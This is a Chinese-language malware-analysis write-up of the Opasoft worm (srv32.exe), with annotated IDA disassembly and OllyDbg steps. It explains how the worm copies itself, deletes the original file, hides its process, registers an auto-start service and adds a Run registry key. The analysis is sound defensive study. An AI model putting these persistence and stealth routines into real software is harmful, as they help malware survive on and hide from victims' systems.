文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具: IDA 4.5.1, OllyDbg V1.10
脱壳,用IDA反汇编,到程序的开始位置:
CODE:00401000 start proc near
CODE:00401000 enter 314h, 0
CODE:00401004 lea eax, [ebp+ExistingFileName] ; 存储病毒路径+名称
CODE:0040100A push 100h ; nSize
CODE:0040100F push eax ; lpFilename
CODE:00401010 push 0 ; hModule
CODE:00401012 call GetModuleFileNameA ; 获得病毒的路径名称
CODE:00401017 call GetCommandLineA
CODE:0040101C mov esi, eax
;程序首先调用GetModuleFileNameA和GetCommandLineA得到程序所在路径,文件名称和参数信息。
CODE:0040101E cld
CODE:0040101F mov ah, 20h
CODE:00401021 lodsb
;把DS:[ESI]指向的字节存到AL中,即第一个字符,这里ESI指向命令行字符串
CODE:00401022 cmp al, 22h ; 比较ESI指向的第一个字符是否是:双引号
CODE:00401024 jnz short loc_401028 ; 在这里没有跳转
CODE:00401026 mov ah, al
CODE:00401028 loc_401028:
CODE:00401028 lodsb
CODE:00401029 test al, al
CODE:0040102B jz short loc_40105C ; 判断是否到命令行字符串的结束符
CODE:0040102D cmp al, ah ; 比较
CODE:0040102F jnz short loc_401028
;找下一个 双引号 出现的位置,即定位到命令行的程序名称末尾,再往后可能就是参数了
CODE:00401031 loc_401031: lodsb
CODE:00401032 test al, al ; 判断是否到命令行字符串的结束符
CODE:00401034 jz short loc_40105C
CODE:00401036 cmp al, 20h
CODE:00401038 jz short loc_401031
;取第二此出现双引号以后的第一个非空格字符,当然是参数了
CODE:0040103A and al, 0DFh ; 小写字母转换成大写字母
CODE:0040103C cmp al, 55h ; 命令行参数-'U'
CODE:0040103E jz loc_401107
CODE:00401044 cmp al, 44h ; 参数'D'
CODE:00401046 jz loc_401165
CODE:0040104C cmp al, 43h ; 参数'C'
CODE:0040104E jz loc_401170
CODE:00401054 cmp al, 53h ; 参数'S'
CODE:00401056 jz loc_4011DA
;把参数转换成大写,跳到相应的处理代码,如果没有参数就继续执行,我们先看有参数的情况
先来看参数U吧,用OllyDbg打开Srv32.exe,选择菜单调试->参数,加上参数u,找到loc_401107,按F4执行到:
CODE:00401107 loc_401107:
CODE:00401107 push esi ;耶,怎么用ESI,esi已经指向命令行字符串的末尾
了啊?先不管看看下面做什么操作
CODE:00401108 call sub_40132B ;调用了个子程序进去看看
CODE:0040110D lea eax, [ebp+ExistingFileName]
CODE:00401113 push 0 ; bFailIfExists
CODE:00401115 push esi ; lpNewFileName
CODE:00401116 push eax ; lpExistingFileName
CODE:00401116 ; 病毒路径+名称
CODE:00401117 call CopyFileA
CODE:0040111C test eax, eax
CODE:0040132B sub_40132B proc near
CODE:0040132F loc_40132F:
CODE:0040132F push [ebp+lpFileName] ;?这里的文件名为空(PUSH ESI)
CODE:00401332 call DeleteFileA ;删除文件,文件名为空,搞什么鬼
CODE:00401337 test eax, eax
CODE:00401339 jnz short locret_401351 ;DeleteFileA成功退出Sub_40132B
CODE:0040133B call GetLastError ;在这里我们返回值为3(系统找不到指定的路径)
CODE:00401340 cmp eax, 2 ; 找不到指定文件
CODE:00401343 jz short locret_401351 ; 退出
CODE:00401345 push 3E8h ; dwMilliseconds
CODE:0040134A call Sleep
CODE:0040134F jmp short loc_40132F ;程序在这里一直循环,难道是BUG,不会吧?
CODE:00401351 locret_401351:
CODE:00401351 leave
CODE:00401352 retn 4
CODE:00401352 sub_40132B endp
;sub_40132B是一段删除文件的操作,而文件名就是[esi],看来参数U后面还得加上个文件名,我们把参数改成
uabc.txt,继续往下看
从sub_40132B出来:
CODE:0040110D lea eax, [ebp+ExistingFileName]
CODE:00401113 push 0 ; bFailIfExists
CODE:00401115 push esi ; lpNewFileName
CODE:00401116 push eax ; lpExistingFileName
CODE:00401116 ; 病毒路径+名称
CODE:00401117 call CopyFileA
CODE:0040111C test eax, eax
CODE:0040111E jz loc_401218 ; CopyFile失败跳转
把病毒拷贝到新的路径,哦,U后面的参数是拷贝病毒的位置和新的名字,如果这个新的路径有这个文件就~~~~~
~~调用sub_40132B函数删除这个文件(真狠啊!)
现在知道sub_40132B的作用了,好咱们继续往下走。
CODE:00401124 lea edi, [ebp+var_300]
CODE:0040112A push esi
CODE:0040112B push edi
CODE:0040112C call lstrcpy ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131 push edi
CODE:00401132 call lstrlen
CODE:00401137 add edi, eax
CODE:00401139 mov ax, 4420h
CODE:0040113D stosw ; 存储0x4420
CODE:0040113F lea eax, [ebp+ExistingFileName]
CODE:00401145 push eax
CODE:00401146 push edi
CODE:00401147 call lstrcpy
CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152 push eax
CODE:00401153 call sub_4013A8 ; 这个函数创建了一个进程
CODE:00401158 test eax, eax ; eax为CreateProcessA返回值
CODE:0040115A jnz locret_40123C ; 创建进程成功跳转,执行新进程,退出此程序
CODE:00401160 jmp loc_401218
这段代码中srv32通过调用CreateProcess创建了一个进程,新进程的执行文件就是上面CopyFile函数拷贝出的
srv32的一个拷贝。
如果创建进程成功就执行新的进程,退出srv32;否则跳转到如下位置:
CODE:00401218 loc_401218:
CODE:00401218 push offset aKernel32_dll ; lpModuleName
CODE:0040121D call GetModuleHandleA
CODE:00401222 push offset aRegisterservic ; lpProcName
CODE:00401227 push eax ; hModule
CODE:00401228 call GetProcAddress ; 获得RegisterServiceProcess(Win9x函数)地址
CODE:0040122D test eax, eax
CODE:0040122F jz short loc_401237
CODE:00401231 push 1 ; dwType:
CODE:00401231 ; RSP_SIMPLE_SERVICE = 1 隐藏进程
CODE:00401231 ; RSP_UNREGISTER_SERVICE = 0 取消进程隐藏
CODE:00401231 ;
CODE:00401233 push 0 ; dwPID = NULL 代表当前进程
CODE:00401235 call eax ; 调用RegisterServiceProcess函数
CODE:00401237
CODE:00401237 loc_401237:
CODE:00401237 call sub_40123E
CODE:0040123C
CODE:0040123C locret_40123C:
CODE:0040123C leave
CODE:0040123D retn
CODE:0040123D start endp
;如果创建进程没有成功,调用RegisterServiceProcess函数来隐藏进程,最后调用sub_40123E。
;注:RegisterServiceProcess 是Win9x中一个未公开的API函数,调用时需要通过GetProcAddress得到其地址,
;参数dwType为1时隐藏进程,为1时取消隐藏,参数dwPID为进程的PID,为零则表示当前进程。
再看下一个参数'D':
CODE:00401165 loc_401165:
CODE:00401165 push esi
CODE:00401166 call sub_40132B
CODE:0040116B jmp loc_401218
;和参数 'U' 一样也调用了sub_40132B,只是少了CopyFile的动作,直接跳转到了RegisterServiceProcess
;看来D就是用来删除指定文件的
继续参数'C':
:00401170 loc_401170:
CODE:00401170 call sub_401355 ; 调用了GetProcAddress得到OpenSCManager..
;等函数的地址
CODE:00401175 test eax, eax ; 返回1函数 Sub_401355调用成功,0失败。
CODE:00401177 jz loc_401218 ; 失败则跳转
;用参数'C'时,调用了下面的函数sub_401355
CODE:00401355 sub_401355 proc near
CODE:00401355 hModule = dword ptr -8
CODE:00401355 var_4 = dword ptr -4
CODE:00401355 enter 8, 0
CODE:00401359 push edi
CODE:0040135A mov [ebp+var_4], 0
CODE:00401361 push offset aAdvapi32 ; lpLibFileName
CODE:00401366 call LoadLibraryA
CODE:0040136B test eax, eax
CODE:0040136D jz short loc_4013A2 ; 调用LoadLibrary失败时跳转
CODE:0040136F mov [ebp+hModule], eax
CODE:00401372 mov edi, offset aOpenscmanagera ; "OpenSCManagerA"
CODE:00401377 mov esi, offset dword_406193
CODE:0040137C
CODE:0040137C loc_40137C:
CODE:0040137C push edi ; lpProcName
CODE:0040137D push [ebp+hModule] ; hModule
CODE:00401380 call GetProcAddress ; 获得函数Advapi32!OpenSCManagerA的地址
CODE:00401385 test eax, eax
CODE:00401387 jz short loc_4013A2 ; 调用GetProcAddress 失败时跳转
CODE:00401389 mov [esi], eax ; 把OpenSCManager的地址存到[ESI]中
CODE:0040138B add esi, 4
CODE:0040138E xor eax, eax
CODE:00401390 xor ecx, ecx
CODE:00401392 not ecx
CODE:00401394 repne scasb
CODE:00401396 cmp byte ptr [edi], 0
CODE:00401399 jnz short loc_40137C ; 循环,取
CODE:00401399 ; 00406127 aCreateservicea db 'CreateServiceA'
CODE:00401399 ; 00406136 aCloseserviceha db 'CloseServiceHandle'
CODE:00401399 ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA'
CODE:00401399 ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA'
CODE:00401399 ; 00406181 aSetservicestat db 'SetServiceStatus',0
CODE:00401399 ; 函数的地址
CODE:0040139B mov [ebp+var_4], 1 ; 修改返回值
CODE:004013A2
CODE:004013A2 loc_4013A2:
CODE:004013A2 mov eax, [ebp+var_4] ; 成功返回值1,失败返回0
CODE:004013A5 pop edi
CODE:004013A6 leave
CODE:004013A7 retn
CODE:004013A7 sub_401355 endp
;函数sub_401355 又调用了API函数LoadLibrary("Advapi32")得到Advapi32的模块句柄,然后又循环调用了
GetProcAddress 得到OpenSCManagerA, CreateServiceA, CloseServiceHandle,
StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatus这些函数的地址。
然后就调用OpenSCManager,CreateServiceA,创建一个服务srv32指向srv32程序,启动参数为'S'
如下代码:
CODE:0040117D push 2
CODE:0040117F push 0 ; SERVICES_ACTIVE_DATABASE
CODE:00401181 push 0 ; LocalMachine
CODE:00401183 call ds:dword_406193 ; OpenSCManager函数
CODE:00401189 test eax, eax
CODE:0040118B jz loc_401218 ; OpenSCManager失败则跳转
CODE:00401191 mov esi, eax ; handle of service control manager database
CODE:00401193 lea edi, [ebp+ExistingFileName] ; 病毒路径+文件名
CODE:00401199 push edi
CODE:0040119A call lstrlen ; (病毒路径+文件名)的长度
CODE:0040119F mov edx, edi
CODE:004011A1 add edi, eax
CODE:004011A3 mov eax, 5320h
CODE:004011A8 stosd ; 存储0x5320h = " S"
CODE:004011A9 xor ecx, ecx
CODE:004011AB push ecx
CODE:004011AC push ecx
CODE:004011AD push ecx
CODE:004011AE push ecx
CODE:004011AF push ecx
CODE:004011B0 push edx ; "ExistingFileName" + " S"
CODE:004011B1 push 1 ; dwErrorControl = SERVICE_ERROR_NORMAL
CODE:004011B3 push 2 ; dwStartType = SERVICE_AUTO_START
CODE:004011B3 ; 自动启动
CODE:004011B5 push 10h ; dwServiceType =
CODE:004011B5 ; SERVICE_WIN32_OWN_PROCESS
CODE:004011B7 push 0F01FFh ; dwDesiredAccess
CODE:004011BC push offset aSrv32_0 ; lpDisplayName = "srv32"
CODE:004011C1 push offset aSrv32_0 ; lpServiceName = "srv32"
CODE:004011C6 push esi ; handle of service control manager database
CODE:004011C7 call ds:dword_406197 ; CreateServiceA函数
CODE:004011CD test eax, eax
CODE:004011CF jz short loc_401218
CODE:004011D1 push eax
CODE:004011D2 call ds:dword_40619B ; CloseServiceHandle函数
CODE:004011D8 jmp short loc_401218
;最后跳转到loc_401218调用RegsterServiceProcess隐藏进程,再调用sub_40123E
再看参数'S':
CODE:004011DA loc_4011DA:
CODE:004011DA call sub_401355
CODE:004011DF test eax, eax
CODE:004011E1 jz short loc_401218 ; 函数sub_401355失败跳转
CODE:004011E3 mov [ebp+var_314], offset aSrv32_0 ; "Srv32"
CODE:004011ED mov [ebp+var_310], offset loc_401467
CODE:004011F7 xor eax, eax
CODE:004011F9 mov [ebp+var_30C], eax
CODE:004011FF mov [ebp+var_308], eax
CODE:00401205 lea eax, [ebp+var_314]
CODE:0040120B push eax
CODE:0040120C call ds:dword_40619F ; StartServiceCtrlDispatcherA
CODE:00401212 test eax, eax
CODE:00401214 jnz short locret_40123C ; StartServiceCtrlDispatcherA调用成功跳转
CODE:00401216 jmp short loc_401218
同样也调用了函数sub_401355来得到OpenSCManager, StartServiceCtrlDispatcherA等函数的地址,随后调用
StartServiceCtrlDispatcherA(这个函数应该是来启动有参数'C'创建的服务的,具体大家还是看一下MSDN吧。)
如果启动服务失败就隐藏进程后调用sub_40123E。
上面都是一些加了参数的启动方式,但是一般病毒第一次启动时可能是没有参数的,因为第一次启动最可能就是
不小心双击了被感染程序,所以我们再看看没有参数时srv32的启动过程是什么样子的。
CODE:0040105C loc_40105C:
CODE:0040105C call GetVersion
CODE:00401061 bt eax, 1Fh ; 测试最高位(31 bit)是否为1,1为win9x平台
CODE:00401065 jnb loc_401218 ; 0为NT平台,最高位为0(CF = 0)时跳转,
CODE:00401065 ; 也就是系统为NT平台时跳转到loc_401218执行
CODE:00401065 ; RegisterServiceProcess隐藏进程
CODE:0040106B lea edi, [ebp+ExistingFileName]
首先调用GetVersion API函数得到操作系统平台信息,如果为NT平台跳转到loc_401218,再调用sub_40123E。
如果为9x平台,继续往下执行...
CODE:0040106B lea edi, [ebp+ExistingFileName]
CODE:00401071 push edi
CODE:00401072 call lstrlen ; 计算文件名+路径的长度
CODE:00401077 mov ecx, eax
CODE:00401079 add edi, eax
CODE:0040107B dec edi
CODE:0040107C mov al, 5Ch
CODE:0040107E std
CODE:0040107F repne scasb
CODE:00401081 cld
CODE:00401082 add edi, 2 ; 定位文件名
CODE:00401085 push offset aNew_exe ; "new.exe"
CODE:0040108A push edi
CODE:0040108B call lstrcmpi ; 不区分大小写比较
CODE:00401090 test eax, eax
CODE:00401092 jnz loc_401218 ; 文件名不是"new.exe"则跳转
这里不知道为什么和"new.exe"比较???
我得文件名是srv32.exe当然就跳转的loc_401218然后调用sub_40123E,
如果文件名是new.exe则执行下面的代码
CODE:00401098 lea esi, [ebp+Buffer]
CODE:0040109E push 100h ; uSize
CODE:004010A3 push esi ; lpBuffer
CODE:004010A4 call GetWindowsDirectoryA
CODE:004010A9 push esi
CODE:004010AA call lstrlen
CODE:004010AF add eax, esi
CODE:004010B1 push offset aSrv32_exe ; "\\Srv32.exe"
CODE:004010B6 push eax
CODE:004010B7 call lstrcpy
CODE:004010BC lea eax, [ebp+hKey]
CODE:004010C2 push eax ; phkResult
CODE:004010C3 push 3 ; samDesired
CODE:004010C5 push 0 ; ulOptions
CODE:004010C7 push offset aSoftwareMicros ; lpSubKey
CODE:004010CC push 80000002h ; HKLM
CODE:004010D1 call RegOpenKeyExA
CODE:004010D6 cmp eax, 0
CODE:004010D9 jnz loc_401218
CODE:004010DF push esi
CODE:004010E0 call lstrlen
CODE:004010E5 inc eax
CODE:004010E6 push eax ; cbData
CODE:004010E7 push esi ; lpData
CODE:004010E8 push 1 ; dwType
CODE:004010EA push 0 ; Reserved
CODE:004010EC push offset aSrv32 ; lpValueName
CODE:004010F1 push [ebp+hKey] ; hKey
CODE:004010F7 call RegSetValueExA
CODE:004010FC push [ebp+hKey] ; hKey
CODE:00401102 call RegCloseKey
写注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项,用处不用说了吧^_^
CODE:00401107
CODE:00401107 loc_401107:
CODE:00401107 push esi ; 指定病毒被复制到的路径和文件名,用参数U
CODE:00401108 call sub_40132B ; 删除指定文件
CODE:0040110D lea eax, [ebp+ExistingFileName]
CODE:00401113 push 0 ; bFailIfExists
CODE:00401115 push esi ; lpNewFileName
CODE:00401116 push eax ; lpExistingFileName
CODE:00401116 ; 病毒路径+名称
CODE:00401117 call CopyFileA
CODE:0040111C test eax, eax
CODE:0040111E jz loc_401218 ; CopyFile失败跳转
把srv32复制到windows目录下
CODE:00401124 lea edi, [ebp+var_300]
CODE:0040112A push esi
CODE:0040112B push edi
CODE:0040112C call lstrcpy ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131 push edi
CODE:00401132 call lstrlen
CODE:00401137 add edi, eax
CODE:00401139 mov ax, 4420h
CODE:0040113D stosw ; 存储0x4420 = " D"
CODE:0040113F lea eax, [ebp+ExistingFileName]
CODE:00401145 push eax
CODE:00401146 push edi
CODE:00401147 call lstrcpy
CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152 push eax
CODE:00401153 call sub_4013A8 ; 这个函数创建了一个进程
CODE:00401158 test eax, eax ; eax为CreateProcessA返回值
CODE:0040115A jnz locret_40123C ; 创建进程成功跳转,执行新进程,退出此程序
CODE:00401160 jmp loc_401218
然后创建一个进程,带参数'D'执行,参数'd'后面跟的是srv32.exe ,即执行windows目录下的程序后,删除自
身,最后也是跳转到loc_401218,再调用sub_40123E
到这里srv32的前期工作已经做好了,下面就快搞破坏了。
附件:srv32.rar
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)